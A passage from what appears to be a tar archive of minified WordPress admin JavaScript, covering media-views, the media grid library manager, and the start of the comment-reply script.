i=64/e.width,s=64/e.height,o=16/e.width,n=16/e.height;a("#preview-app-icon").css({width:Math.round(i*this.imageWidth)+"px",height:Math.round(s*this.imageHeight)+"px",marginLeft:"-"+Math.round(i*e.x1)+"px",marginTop:"-"+Math.round(s*e.y1)+"px"}),a("#preview-favicon").css({width:Math.round(o*this.imageWidth)+"px",height:Math.round(n*this.imageHeight)+"px",marginLeft:"-"+Math.round(o*e.x1)+"px",marginTop:"-"+Math.floor(n*e.y1)+"px"})}});t.exports=e},2234:function(t){var e=wp.media.View.extend({tagName:"span",className:"spinner",spinnerTimeout:!1,delay:400,show:function(){return this.spinnerTimeout||(this.spinnerTimeout=_.delay(function(t){t.addClass("is-active")},this.delay,this.$el)),this},hide:function(){return this.$el.removeClass("is-active"),this.spinnerTimeout=clearTimeout(this.spinnerTimeout),this}});t.exports=e},9510:function(t){var e=wp.media.View,i=e.extend({tagName:"div",className:"media-toolbar",initialize:function(){var t=this.controller.state(),e=this.selection=t.get("selection"),t=this.library=t.get("library");this._views={},this.primary=new wp.media.view.PriorityList,this.secondary=new wp.media.view.PriorityList,this.primary.$el.addClass("media-toolbar-primary search-form"),this.secondary.$el.addClass("media-toolbar-secondary"),this.views.set([this.secondary,this.primary]),this.options.items&&this.set(this.options.items,{silent:!0}),this.options.silent||this.render(),e&&e.on("add remove reset",this.refresh,this),t&&t.on("add remove reset",this.refresh,this)},dispose:function(){return this.selection&&this.selection.off(null,null,this),this.library&&this.library.off(null,null,this),e.prototype.dispose.apply(this,arguments)},ready:function(){this.refresh()},set:function(t,e,i){return i=i||{},_.isObject(t)?_.each(t,function(t,e){this.set(e,t,{silent:!0})},this):(e instanceof Backbone.View||(e.classes=["media-button-"+t].concat(e.classes||[]),e=new wp.media.view.Button(e).render()),e.controller=e.controller||this.controller,this._views[t]=e,this[e.options.priority<0?"secondary":"primary"].set(t,e,i)),i.silent||this.refresh(),this},get:function(t){return this._views[t]},unset:function(t,e){return delete this._views[t],this.primary.unset(t,e),this.secondary.unset(t,e),e&&e.silent||this.refresh(),this},refresh:function(){var t=this.controller.state(),s=t.get("library"),o=t.get("selection");_.each(this._views,function(t){var e,i;t.model&&t.options&&t.options.requires&&(e=t.options.requires,i=!1,o&&o.models&&(i=_.some(o.models,function(t){return!0===t.get("uploading")})),(e.selection&&o&&!o.length||e.library&&s&&!s.length)&&(i=!0),t.model.set("disabled",i))})}});t.exports=i},7128:function(t){var e=wp.media.view.Toolbar.Select,i=wp.media.view.l10n,s=e.extend({initialize:function(){_.defaults(this.options,{text:i.insertIntoPost,requires:!1}),e.prototype.initialize.apply(this,arguments)},refresh:function(){var t=this.controller.state().props.get("url");this.get("select").model.set("disabled",!t||"http://"===t),e.prototype.refresh.apply(this,arguments)}});t.exports=s},6850:function(t){var e=wp.media.view.Toolbar,i=wp.media.view.l10n,s=e.extend({initialize:function(){var t=this.options;_.bindAll(this,"clickSelect"),_.defaults(t,{event:"select",state:!1,reset:!0,close:!0,text:i.select,requires:{selection:!0}}),t.items=_.defaults(t.items||{},{select:{style:"primary",text:t.text,priority:80,click:this.clickSelect,requires:t.requires}}),e.prototype.initialize.apply(this,arguments)},clickSelect:function(){var t=this.options,e=this.controller;t.close&&e.close(),t.event&&e.state().trigger(t.event),t.state&&e.setState(t.state),t.reset&&e.reset()}});t.exports=s},841:function(t){var e=wp.media.View,i=wp.media.view.l10n,s=jQuery,o=e.extend({tagName:"div",className:"uploader-editor",template:wp.template("uploader-editor"),localDrag:!1,overContainer:!1,overDropzone:!1,draggingFile:null,initialize:function(){return this.initialized=!1,window.tinyMCEPreInit&&window.tinyMCEPreInit.dragDropUpload&&this.browserSupport()&&(this.$document=s(document),this.dropzones=[],this.files=[],this.$document.on("drop",".uploader-editor",_.bind(this.drop,this)),this.$document.on("dragover",".uploader-editor",_.bind(this.dropzoneDragover,this)),this.$document.on("dragleave",".uploader-editor",_.bind(this.dropzoneDragleave,this)),this.$document.on("click",".uploader-editor",_.bind(this.click,this)),this.$document.on("dragover",_.bind(this.containerDragover,this)),this.$document.on("dragleave",_.bind(this.containerDragleave,this)),this.$document.on("dragstart dragend drop",_.bind(function(t){this.localDrag="dragstart"===t.type,"drop"===t.type&&this.containerDragleave()},this)),this.initialized=!0),this},browserSupport:function(){var t=document.createElement("div");return("draggable"in t||"ondragstart"in t&&"ondrop"in t)&&!!(window.File&&window.FileList&&window.FileReader)},isDraggingFile:function(t){return null!==this.draggingFile?this.draggingFile:!_.isUndefined(t.originalEvent)&&!_.isUndefined(t.originalEvent.dataTransfer)&&(this.draggingFile=-1<_.indexOf(t.originalEvent.dataTransfer.types,"Files")&&-1===_.indexOf(t.originalEvent.dataTransfer.types,"text/plain"),this.draggingFile)},refresh:function(t){for(var e in this.dropzones)this.dropzones[e].toggle(this.overContainer||this.overDropzone);return _.isUndefined(t)||s(t.target).closest(".uploader-editor").toggleClass("droppable",this.overDropzone),this.overContainer||this.overDropzone||(this.draggingFile=null),this},render:function(){return this.initialized&&(e.prototype.render.apply(this,arguments),s(".wp-editor-wrap").each(_.bind(this.attach,this))),this},attach:function(t,e){var i=this.$el.clone();return this.dropzones.push(i),s(e).append(i),this},drop:function(t){if(this.containerDragleave(t),this.dropzoneDragleave(t),this.files=t.originalEvent.dataTransfer.files,!(this.files.length<1))return 0<(t=s(t.target).parents(".wp-editor-wrap")).length&&t[0].id&&(window.wpActiveEditor=t[0].id.slice(3,-5)),this.workflow?(this.workflow.state().reset(),this.addFiles.apply(this),this.workflow.open()):(this.workflow=wp.media.editor.open(window.wpActiveEditor,{frame:"post",state:"insert",title:i.addMedia,multiple:!0}),(t=this.workflow.uploader).uploader&&t.uploader.ready?this.addFiles.apply(this):this.workflow.on("uploader:ready",this.addFiles,this)),!1},addFiles:function(){return this.files.length&&(this.workflow.uploader.uploader.uploader.addFile(_.toArray(this.files)),this.files=[]),this},containerDragover:function(t){!this.localDrag&&this.isDraggingFile(t)&&(this.overContainer=!0,this.refresh())},containerDragleave:function(){this.overContainer=!1,_.delay(_.bind(this.refresh,this),50)},dropzoneDragover:function(t){if(!this.localDrag&&this.isDraggingFile(t))return this.overDropzone=!0,this.refresh(t),!1},dropzoneDragleave:function(t){this.overDropzone=!1,_.delay(_.bind(this.refresh,this,t),50)},click:function(t){this.containerDragleave(t),this.dropzoneDragleave(t),this.localDrag=!1}});t.exports=o},6353:function(t){var e=wp.media.View,i=e.extend({tagName:"div",className:"uploader-inline",template:wp.template("uploader-inline"),events:{"click .close":"hide"},initialize:function(){_.defaults(this.options,{message:"",status:!0,canClose:!1}),!this.options.$browser&&this.controller.uploader&&(this.options.$browser=this.controller.uploader.$browser),_.isUndefined(this.options.postId)&&(this.options.postId=wp.media.view.settings.post.id),this.options.status&&this.views.set(".upload-inline-status",new wp.media.view.UploaderStatus({controller:this.controller}))},prepare:function(){var t=this.controller.state().get("suggestedWidth"),e=this.controller.state().get("suggestedHeight"),i={};return i.message=this.options.message,i.canClose=this.options.canClose,t&&e&&(i.suggestedWidth=t,i.suggestedHeight=e),i},dispose:function(){return this.disposing?e.prototype.dispose.apply(this,arguments):(this.disposing=!0,this.remove())},remove:function(){var t=e.prototype.remove.apply(this,arguments);return _.defer(_.bind(this.refresh,this)),t},refresh:function(){var t=this.controller.uploader;t&&t.refresh()},ready:function(){var t,e=this.options.$browser;if(this.controller.uploader){if((t=this.$(".browser"))[0]===e[0])return;e.detach().text(t.text()),e[0].className=t[0].className,e[0].setAttribute("aria-labelledby",e[0].id+" "+t[0].getAttribute("aria-labelledby")),t.replaceWith(e.show())}return this.refresh(),this},show:function(){this.$el.removeClass("hidden"),this.controller.$uploaderToggler&&this.controller.$uploaderToggler.length&&this.controller.$uploaderToggler.attr("aria-expanded","true")},hide:function(){this.$el.addClass("hidden"),this.controller.$uploaderToggler&&this.controller.$uploaderToggler.length&&this.controller.$uploaderToggler.attr("aria-expanded","false").trigger("focus")}});t.exports=i},9411:function(t){var e=wp.media.View.extend({className:"upload-error",template:wp.template("uploader-status-error")});t.exports=e},2894:function(t){var e=wp.media.View,i=e.extend({className:"media-uploader-status",template:wp.template("uploader-status"),events:{"click .upload-dismiss-errors":"dismiss"},initialize:function(){this.queue=wp.Uploader.queue,this.queue.on("add remove reset",this.visibility,this),this.queue.on("add remove reset change:percent",this.progress,this),this.queue.on("add remove reset change:uploading",this.info,this),this.errors=wp.Uploader.errors,this.errors.reset(),this.errors.on("add remove reset",this.visibility,this),this.errors.on("add",this.error,this)},dispose:function(){return wp.Uploader.queue.off(null,null,this),e.prototype.dispose.apply(this,arguments),this},visibility:function(){this.$el.toggleClass("uploading",!!this.queue.length),this.$el.toggleClass("errors",!!this.errors.length),this.$el.toggle(!!this.queue.length||!!this.errors.length)},ready:function(){_.each({$bar:".media-progress-bar div",$index:".upload-index",$total:".upload-total",$filename:".upload-filename"},function(t,e){this[e]=this.$(t)},this),this.visibility(),this.progress(),this.info()},progress:function(){var t=this.queue,e=this.$bar;e&&t.length&&e.width(t.reduce(function(t,e){if(!e.get("uploading"))return t+100;e=e.get("percent");return t+(_.isNumber(e)?e:100)},0)/t.length+"%")},info:function(){var t,e=this.queue,i=0;e.length&&(t=this.queue.find(function(t,e){return i=e,t.get("uploading")}),this.$index&&this.$total&&this.$filename&&(this.$index.text(i+1),this.$total.text(e.length),this.$filename.html(t?this.filename(t.get("filename")):"")))},filename:function(t){return _.escape(t)},error:function(t){var e=new wp.media.view.UploaderStatusError({filename:this.filename(t.get("file").name),message:t.get("message")}),i=this.$el.find("button");this.views.add(".upload-errors",e,{at:0}),_.delay(function(){i.trigger("focus"),wp.a11y.speak(t.get("message"),"assertive")},1e3)},dismiss:function(){var t=this.views.get(".upload-errors");t&&_.invoke(t,"remove"),wp.Uploader.errors.reset(),this.controller.modal&&this.controller.modal.focusManager.focus()}});t.exports=i},5823:function(t){var e=jQuery,i=wp.media.View.extend({tagName:"div",className:"uploader-window",template:wp.template("uploader-window"),initialize:function(){var t;this.$browser=e('<button type="button" class="browser" />').hide().appendTo("body"),!(t=this.options.uploader=_.defaults(this.options.uploader||{},{dropzone:this.$el,browser:this.$browser,params:{}})).dropzone||t.dropzone instanceof e||(t.dropzone=e(t.dropzone)),this.controller.on("activate",this.refresh,this),this.controller.on("detach",function(){this.$browser.remove()},this)},refresh:function(){this.uploader&&this.uploader.refresh()},ready:function(){var t=wp.media.view.settings.post.id;this.uploader||(t&&(this.options.uploader.params.post_id=t),this.uploader=new wp.Uploader(this.options.uploader),(t=this.uploader.dropzone).on("dropzone:enter",_.bind(this.show,this)),t.on("dropzone:leave",_.bind(this.hide,this)),e(this.uploader).on("uploader:ready",_.bind(this._ready,this)))},_ready:function(){this.controller.trigger("uploader:ready")},show:function(){var t=this.$el.show();_.defer(function(){t.css({opacity:1})})},hide:function(){var t=this.$el.css({opacity:0});wp.media.transition(t).done(function(){"0"===t.css("opacity")&&t.hide()}),_.delay(function(){"0"===t.css("opacity")&&t.is(":visible")&&t.hide()},500)}});t.exports=i},487:function(t){var e=wp.Backbone.View.extend({constructor:function(t){t&&t.controller&&(this.controller=t.controller),wp.Backbone.View.apply(this,arguments)},dispose:function(){return this.undelegateEvents(),this.model&&this.model.off&&this.model.off(null,null,this),this.collection&&this.collection.off&&this.collection.off(null,null,this),this.controller&&this.controller.off&&this.controller.off(null,null,this),this},remove:function(){return this.dispose(),wp.Backbone.View.prototype.remove.apply(this,arguments)}});t.exports=e}},s={};function o(t){var e=s[t];if(void 0!==e)return e.exports;e=s[t]={exports:{}};return i[t](e,e.exports,o),e.exports}var e,t,n,a,r;a=wp.media,r=jQuery,a.isTouchDevice="ontouchend"in document,t=a.view.l10n=window._wpMediaViewsL10n||{},a.view.settings=t.settings||{},delete t.settings,a.model.settings.post=a.view.settings.post,r.support.transition=(e=document.documentElement.style,t={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},(n=_.find(_.keys(t),function(t){return!_.isUndefined(e[t])}))&&{end:t[n]}),a.events=_.extend({},Backbone.Events),a.transition=function(t,e){var i=r.Deferred();return e=e||2e3,r.support.transition?((t=t instanceof r?t:r(t)).first().one(r.support.transition.end,i.resolve),_.delay(i.resolve,e)):i.resolve(),i.promise()},a.controller.Region=o(4903),a.controller.StateMachine=o(5466),a.controller.State=o(5826),a.selectionSync=o(3526),a.controller.Library=o(9024),a.controller.ImageDetails=o(3849),a.controller.GalleryEdit=o(6328),a.controller.GalleryAdd=o(7323),a.controller.CollectionEdit=o(1817),a.controller.CollectionAdd=o(1517),a.controller.FeaturedImage=o(5095),a.controller.ReplaceImage=o(8493),a.controller.EditImage=o(7658),a.controller.MediaLibrary=o(3742),a.controller.Embed=o(9067),a.controller.Cropper=o(2288),a.controller.CustomizeImageCropper=o(6934),a.controller.SiteIconCropper=o(5274),a.View=o(487),a.view.Frame=o(3647),a.view.MediaFrame=o(4861),a.view.MediaFrame.Select=o(8719),a.view.MediaFrame.Post=o(9075),a.view.MediaFrame.ImageDetails=o(9142),a.view.Modal=o(3939),a.view.FocusManager=o(6557),a.view.UploaderWindow=o(5823),a.view.EditorUploader=o(841),a.view.UploaderInline=o(6353),a.view.UploaderStatus=o(2894),a.view.UploaderStatusError=o(9411),a.view.Toolbar=o(9510),a.view.Toolbar.Select=o(6850),a.view.Toolbar.Embed=o(7128),a.view.Button=o(3157),a.view.ButtonGroup=o(4094),a.view.PriorityList=o(1993),a.view.MenuItem=o(917),a.view.Menu=o(2596),a.view.RouterItem=o(9484),a.view.Router=o(1562),a.view.Sidebar=o(9799),a.view.Attachment=o(5019),a.view.Attachment.Library=o(9254),a.view.Attachment.EditLibrary=o(4640),a.view.Attachments=o(8408),a.view.Search=o(4556),a.view.AttachmentFilters=o(4906),a.view.DateFilter=o(9663),a.view.AttachmentFilters.Uploaded=o(7040),a.view.AttachmentFilters.All=o(2868),a.view.AttachmentsBrowser=o(9239),a.view.Selection=o(6191),a.view.Attachment.Selection=o(9003),a.view.Attachments.Selection=o(1223),a.view.Attachment.EditSelection=o(1009),a.view.Settings=o(859),a.view.Settings.AttachmentDisplay=o(2176),a.view.Settings.Gallery=o(6872),a.view.Settings.Playlist=o(8488),a.view.Attachment.Details=o(7274),a.view.AttachmentCompat=o(8093),a.view.Iframe=o(6217),a.view.Embed=o(5138),a.view.Label=o(6644),a.view.EmbedUrl=o(4848),a.view.EmbedLink=o(6959),a.view.EmbedImage=o(1338),a.view.ImageDetails=o(7598),a.view.Cropper=o(7137),a.view.SiteIconCropper=o(5187),a.view.SiteIconPreview=o(8260),a.view.EditImage=o(5970),a.view.Spinner=o(2234),a.view.Heading=o(7990)}();��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/media-grid.min.js��������������������������������������������������������������������������������0000644�����������������00000032054�14717703502�0010314 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(){var i={5817:function(t){var e=wp.media.view.l10n,e=wp.media.controller.State.extend({defaults:{id:"edit-attachment",title:e.attachmentDetails,content:"edit-metadata",menu:!1,toolbar:!1,router:!1}});t.exports=e},9525:function(t){var e=Backbone.Router.extend({routes:{"upload.php?item=:slug&mode=edit":"editItem","upload.php?item=:slug":"showItem","upload.php?search=:query":"search","upload.php":"reset"},baseUrl:function(t){return"upload.php"+t},reset:function(){var t=wp.media.frames.edit;t&&t.close()},search:function(t){jQuery("#media-search-input").val(t).trigger("input")},showItem:function(t){var e=wp.media,i=e.frames.browse,o=i.state().get("library").findWhere({id:parseInt(t,10)});o?(o.set("skipHistory",!0),i.trigger("edit:attachment",o)):(o=e.attachment(t),i.listenTo(o,"change",function(t){i.stopListening(o),i.trigger("edit:attachment",t)}),o.fetch())},editItem:function(t){this.showItem(t),wp.media.frames.edit.content.mode("edit-details")}});t.exports=e},7433:function(t){var e=wp.media.view.Attachment.Details,i=e.extend({template:wp.template("attachment-details-two-column"),initialize:function(){this.controller.on("content:activate:edit-details",_.bind(this.editAttachment,this)),e.prototype.initialize.apply(this,arguments)},editAttachment:function(t){t&&t.preventDefault(),this.controller.content.mode("edit-image")},toggleSelectionHandler:function(){}});t.exports=i},5562:function(t){var e=wp.media.view.Button,i=wp.media.view.DeleteSelectedButton,o=i.extend({initialize:function(){i.prototype.initialize.apply(this,arguments),this.controller.on("select:activate",this.selectActivate,this),this.controller.on("select:deactivate",this.selectDeactivate,this)},filterChange:function(t){this.canShow="trash"===t.get("status")},selectActivate:function(){this.toggleDisabled(),this.$el.toggleClass("hidden",!this.canShow)},selectDeactivate:function(){this.toggleDisabled(),this.$el.addClass("hidden")},render:function(){return e.prototype.render.apply(this,arguments),this.selectActivate(),this}});t.exports=o},471:function(t){var e=wp.media.view.Button,i=wp.media.view.l10n,o=e.extend({initialize:function(){e.prototype.initialize.apply(this,arguments),this.options.filters&&this.options.filters.model.on("change",this.filterChange,this),this.controller.on("selection:toggle",this.toggleDisabled,this),this.controller.on("select:activate",this.toggleDisabled,this)},filterChange:function(t){"trash"===t.get("status")?this.model.set("text",i.restoreSelected):wp.media.view.settings.mediaTrash?this.model.set("text",i.trashSelected):this.model.set("text",i.deletePermanently)},toggleDisabled:function(){this.model.set("disabled",!this.controller.state().get("selection").length)},render:function(){return e.prototype.render.apply(this,arguments),this.controller.isModeActive("select")?this.$el.addClass("delete-selected-button"):this.$el.addClass("delete-selected-button hidden"),this.toggleDisabled(),this}});t.exports=o},6767:function(t){var e=wp.media.view.Button,i=wp.media.view.l10n,o=e.extend({initialize:function(){_.defaults(this.options,{size:""}),e.prototype.initialize.apply(this,arguments),this.controller.on("select:activate select:deactivate",this.toggleBulkEditHandler,this),this.controller.on("selection:action:done",this.back,this)},back:function(){this.controller.deactivateMode("select").activateMode("edit")},click:function(){e.prototype.click.apply(this,arguments),this.controller.isModeActive("select")?this.back():this.controller.deactivateMode("edit").activateMode("select")},render:function(){return e.prototype.render.apply(this,arguments),this.$el.addClass("select-mode-toggle-button"),this},toggleBulkEditHandler:function(){var t=this.controller.content.get().toolbar,e=t.$(".media-toolbar-secondary > *, .media-toolbar-primary > *");this.controller.isModeActive("select")?(this.model.set({size:"large",text:i.cancel}),e.not(".spinner, .media-button").hide(),this.$el.show(),t.$el.addClass("media-toolbar-mode-select"),t.$(".delete-selected-button").removeClass("hidden")):(this.model.set({size:"",text:i.bulkSelect}),this.controller.content.get().$el.removeClass("fixed"),t.$el.css("width",""),t.$el.removeClass("media-toolbar-mode-select"),t.$(".delete-selected-button").addClass("hidden"),e.not(".media-button").show(),this.controller.state().get("selection").reset())}});t.exports=o},9157:function(t){var e=wp.media.View,i=wp.media.view.EditImage.extend({initialize:function(t){this.editor=window.imageEdit,this.frame=t.frame,this.controller=t.controller,e.prototype.initialize.apply(this,arguments)},back:function(){this.frame.content.mode("edit-metadata")},save:function(){this.model.fetch().done(_.bind(function(){this.frame.content.mode("edit-metadata")},this))}});t.exports=i},5169:function(t){var e=wp.media.view.Frame,i=wp.media.view.MediaFrame,o=jQuery,i=i.extend({className:"edit-attachment-frame",template:wp.template("edit-attachment-frame"),regions:["title","content"],events:{"click .left":"previousMediaItem","click .right":"nextMediaItem"},initialize:function(){e.prototype.initialize.apply(this,arguments),_.defaults(this.options,{modal:!0,state:"edit-attachment"}),this.controller=this.options.controller,this.gridRouter=this.controller.gridRouter,this.library=this.options.library,this.options.model&&(this.model=this.options.model),this.bindHandlers(),this.createStates(),this.createModal(),this.title.mode("default"),this.toggleNav()},bindHandlers:function(){this.on("title:create:default",this.createTitle,this),this.on("content:create:edit-metadata",this.editMetadataMode,this),this.on("content:create:edit-image",this.editImageMode,this),this.on("content:render:edit-image",this.editImageModeRender,this),this.on("refresh",this.rerender,this),this.on("close",this.detach),this.bindModelHandlers(),this.listenTo(this.gridRouter,"route:search",this.close,this)},bindModelHandlers:function(){this.listenTo(this.model,"change:status destroy",this.close,this)},createModal:function(){this.options.modal&&(this.modal=new wp.media.view.Modal({controller:this,title:this.options.title,hasCloseButton:!1}),this.modal.on("open",_.bind(function(){o("body").on("keydown.media-modal",_.bind(this.keyEvent,this))},this)),this.modal.on("close",_.bind(function(){o("body").off("keydown.media-modal"),o('li.attachment[data-id="'+this.model.get("id")+'"]').trigger("focus"),this.resetRoute()},this)),this.modal.content(this),this.modal.open())},createStates:function(){this.states.add([new wp.media.controller.EditAttachmentMetadata({model:this.model,library:this.library})])},editMetadataMode:function(t){t.view=new wp.media.view.Attachment.Details.TwoColumn({controller:this,model:this.model}),t.view.views.set(".attachment-compat",new wp.media.view.AttachmentCompat({controller:this,model:this.model})),this.model&&!this.model.get("skipHistory")&&this.gridRouter.navigate(this.gridRouter.baseUrl("?item="+this.model.id))},editImageMode:function(t){var e=new wp.media.controller.EditImage({model:this.model,frame:this});e._toolbar=function(){},e._router=function(){},e._menu=function(){},t.view=new wp.media.view.EditImage.Details({model:this.model,frame:this,controller:e}),this.gridRouter.navigate(this.gridRouter.baseUrl("?item="+this.model.id+"&mode=edit"))},editImageModeRender:function(t){t.on("ready",t.loadEditor)},toggleNav:function(){this.$(".left").prop("disabled",!this.hasPrevious()),this.$(".right").prop("disabled",!this.hasNext())},rerender:function(t){this.stopListening(this.model),this.model=t,this.bindModelHandlers(),"edit-metadata"!==this.content.mode()?this.content.mode("edit-metadata"):this.content.render(),this.toggleNav()},previousMediaItem:function(){this.hasPrevious()&&(this.trigger("refresh",this.library.at(this.getCurrentIndex()-1)),this.focusNavButton(this.hasPrevious()?".left":".right"))},nextMediaItem:function(){this.hasNext()&&(this.trigger("refresh",this.library.at(this.getCurrentIndex()+1)),this.focusNavButton(this.hasNext()?".right":".left"))},focusNavButton:function(t){o(t).trigger("focus")},getCurrentIndex:function(){return this.library.indexOf(this.model)},hasNext:function(){return this.getCurrentIndex()+1<this.library.length},hasPrevious:function(){return-1<this.getCurrentIndex()-1},keyEvent:function(t){("INPUT"!==t.target.nodeName&&"TEXTAREA"!==t.target.nodeName||t.target.disabled)&&(39===t.keyCode&&this.nextMediaItem(),37===t.keyCode&&this.previousMediaItem())},resetRoute:function(){var t=this.controller.browserView.toolbar.get("search").$el.val();this.gridRouter.navigate(this.gridRouter.baseUrl(""!==t?"?search="+t:""),{replace:!0})}});t.exports=i},4817:function(t){var e=wp.media.view.MediaFrame,i=wp.media.controller.Library,s=Backbone.$,o=e.extend({initialize:function(){_.defaults(this.options,{title:"",modal:!1,selection:[],library:{},multiple:"add",state:"library",uploader:!0,mode:["grid","edit"]}),this.$body=s(document.body),this.$window=s(window),this.$adminBar=s("#wpadminbar"),this.$uploaderToggler=s(".page-title-action").attr("aria-expanded","false").on("click",_.bind(this.addNewClickHandler,this)),this.$window.on("scroll resize",_.debounce(_.bind(this.fixPosition,this),15)),this.$el.addClass("wp-core-ui"),!wp.Uploader.limitExceeded&&wp.Uploader.browser.supported||(this.options.uploader=!1),this.options.uploader&&(this.uploader=new wp.media.view.UploaderWindow({controller:this,uploader:{dropzone:document.body,container:document.body}}).render(),this.uploader.ready(),s("body").append(this.uploader.el),this.options.uploader=!1),this.gridRouter=new wp.media.view.MediaFrame.Manage.Router,e.prototype.initialize.apply(this,arguments),this.$el.appendTo(this.options.container),this.createStates(),this.bindRegionModeHandlers(),this.render(),this.bindSearchHandler(),wp.media.frames.browse=this},bindSearchHandler:function(){var t=this.$("#media-search-input"),e=this.browserView.toolbar.get("search").$el,i=this.$(".view-list"),o=_.throttle(function(t){var t=s(t.currentTarget).val(),e="";t&&this.gridRouter.navigate(this.gridRouter.baseUrl(e+="?search="+t),{replace:!0})},1e3);t.on("input",_.bind(o,this)),this.gridRouter.on("route:search",function(){var t=window.location.href;-1<t.indexOf("mode=")?t=t.replace(/mode=[^&]+/g,"mode=list"):t+=-1<t.indexOf("?")?"&mode=list":"?mode=list",t=t.replace("search=","s="),i.prop("href",t)}).on("route:reset",function(){e.val("").trigger("input")})},createStates:function(){var t=this.options;this.options.states||this.states.add([new i({library:wp.media.query(t.library),multiple:t.multiple,title:t.title,content:"browse",toolbar:"select",contentUserSetting:!1,filterable:"all",autoSelect:!1})])},bindRegionModeHandlers:function(){this.on("content:create:browse",this.browseContent,this),this.on("edit:attachment",this.openEditAttachmentModal,this),this.on("select:activate",this.bindKeydown,this),this.on("select:deactivate",this.unbindKeydown,this)},handleKeydown:function(t){27===t.which&&(t.preventDefault(),this.deactivateMode("select").activateMode("edit"))},bindKeydown:function(){this.$body.on("keydown.select",_.bind(this.handleKeydown,this))},unbindKeydown:function(){this.$body.off("keydown.select")},fixPosition:function(){var t,e;this.isModeActive("select")&&(e=(t=this.$(".attachments-browser")).find(".media-toolbar"),t.offset().top+16<this.$window.scrollTop()+this.$adminBar.height()?(t.addClass("fixed"),e.css("width",t.width()+"px")):(t.removeClass("fixed"),e.css("width","")))},addNewClickHandler:function(t){t.preventDefault(),this.trigger("toggle:upload:attachment"),this.uploader&&this.uploader.refresh()},openEditAttachmentModal:function(t){wp.media.frames.edit?wp.media.frames.edit.open().trigger("refresh",t):wp.media.frames.edit=wp.media({frame:"edit-attachments",controller:this,library:this.state().get("library"),model:t})},browseContent:function(t){var e=this.state();this.browserView=t.view=new wp.media.view.AttachmentsBrowser({controller:this,collection:e.get("library"),selection:e.get("selection"),model:e,sortable:e.get("sortable"),search:e.get("searchable"),filters:e.get("filterable"),date:e.get("date"),display:e.get("displaySettings"),dragInfo:e.get("dragInfo"),sidebar:"errors",suggestedWidth:e.get("suggestedWidth"),suggestedHeight:e.get("suggestedHeight"),AttachmentView:e.get("AttachmentView"),scrollElement:document}),this.browserView.on("ready",_.bind(this.bindDeferred,this)),this.errors=wp.Uploader.errors,this.errors.on("add remove reset",this.sidebarVisibility,this)},sidebarVisibility:function(){this.browserView.$(".media-sidebar").toggle(!!this.errors.length)},bindDeferred:function(){this.browserView.dfd&&this.browserView.dfd.done(_.bind(this.startHistory,this))},startHistory:function(){window.history&&window.history.pushState&&(Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:window._wpMediaGridSettings.adminUrl,pushState:!0}))}});t.exports=o}},o={};function s(t){var e=o[t];if(void 0!==e)return e.exports;e=o[t]={exports:{}};return i[t](e,e.exports,s),e.exports}var t;(t=wp.media).controller.EditAttachmentMetadata=s(5817),t.view.MediaFrame.Manage=s(4817),t.view.Attachment.Details.TwoColumn=s(7433),t.view.MediaFrame.Manage.Router=s(9525),t.view.EditImage.Details=s(9157),t.view.MediaFrame.EditAttachments=s(5169),t.view.SelectModeToggleButton=s(6767),t.view.DeleteSelectedButton=s(471),t.view.DeleteSelectedPermanentlyButton=s(5562)}();������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/comment-reply.min.js�����������������������������������������������������������������������������0000644�����������������00000005645�14717703502�0011113 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ window.addComment=function(v){var I,C,h,E=v.document,b={commentReplyClass:"comment-reply-link",commentReplyTitleId:"reply-title",cancelReplyId:"cancel-comment-reply-link",commentFormId:"commentform",temporaryFormId:"wp-temp-form-div",parentIdFieldId:"comment_parent",postIdFieldId:"comment_post_ID"},e=v.MutationObserver||v.WebKitMutationObserver||v.MozMutationObserver,r="querySelector"in E&&"addEventListener"in v,n=!!E.documentElement.dataset;function t(){d(),e&&new e(o).observe(E.body,{childList:!0,subtree:!0})}function d(e){if(r&&(I=g(b.cancelReplyId),C=g(b.commentFormId),I)){I.addEventListener("touchstart",l),I.addEventListener("click",l);function t(e){if((e.metaKey||e.ctrlKey)&&13===e.keyCode)return C.removeEventListener("keydown",t),e.preventDefault(),C.submit.click(),!1}C&&C.addEventListener("keydown",t);for(var n,d=function(e){var t=b.commentReplyClass;e&&e.childNodes||(e=E);e=E.getElementsByClassName?e.getElementsByClassName(t):e.querySelectorAll("."+t);return e}(e),o=0,i=d.length;o<i;o++)(n=d[o]).addEventListener("touchstart",a),n.addEventListener("click",a)}}function l(e){var t,n,d=g(b.temporaryFormId);d&&h&&(g(b.parentIdFieldId).value="0",t=d.textContent,d.parentNode.replaceChild(h,d),this.style.display="none",n=(d=(d=g(b.commentReplyTitleId))&&d.firstChild)&&d.nextSibling,d&&d.nodeType===Node.TEXT_NODE&&t&&(n&&"A"===n.nodeName&&n.id!==b.cancelReplyId&&(n.style.display=""),d.textContent=t),e.preventDefault())}function a(e){var t=g(b.commentReplyTitleId),t=t&&t.firstChild.textContent,n=this,d=m(n,"belowelement"),o=m(n,"commentid"),i=m(n,"respondelement"),r=m(n,"postid"),n=m(n,"replyto")||t;d&&o&&i&&r&&!1===v.addComment.moveForm(d,o,i,r,n)&&e.preventDefault()}function o(e){for(var t=e.length;t--;)if(e[t].addedNodes.length)return void d()}function m(e,t){return n?e.dataset[t]:e.getAttribute("data-"+t)}function g(e){return E.getElementById(e)}return r&&"loading"!==E.readyState?t():r&&v.addEventListener("DOMContentLoaded",t,!1),{init:d,moveForm:function(e,t,n,d,o){var i,r,l,a,m,c,s,e=g(e),n=(h=g(n),g(b.parentIdFieldId)),y=g(b.postIdFieldId),p=g(b.commentReplyTitleId),u=(p=p&&p.firstChild)&&p.nextSibling;if(e&&h&&n){void 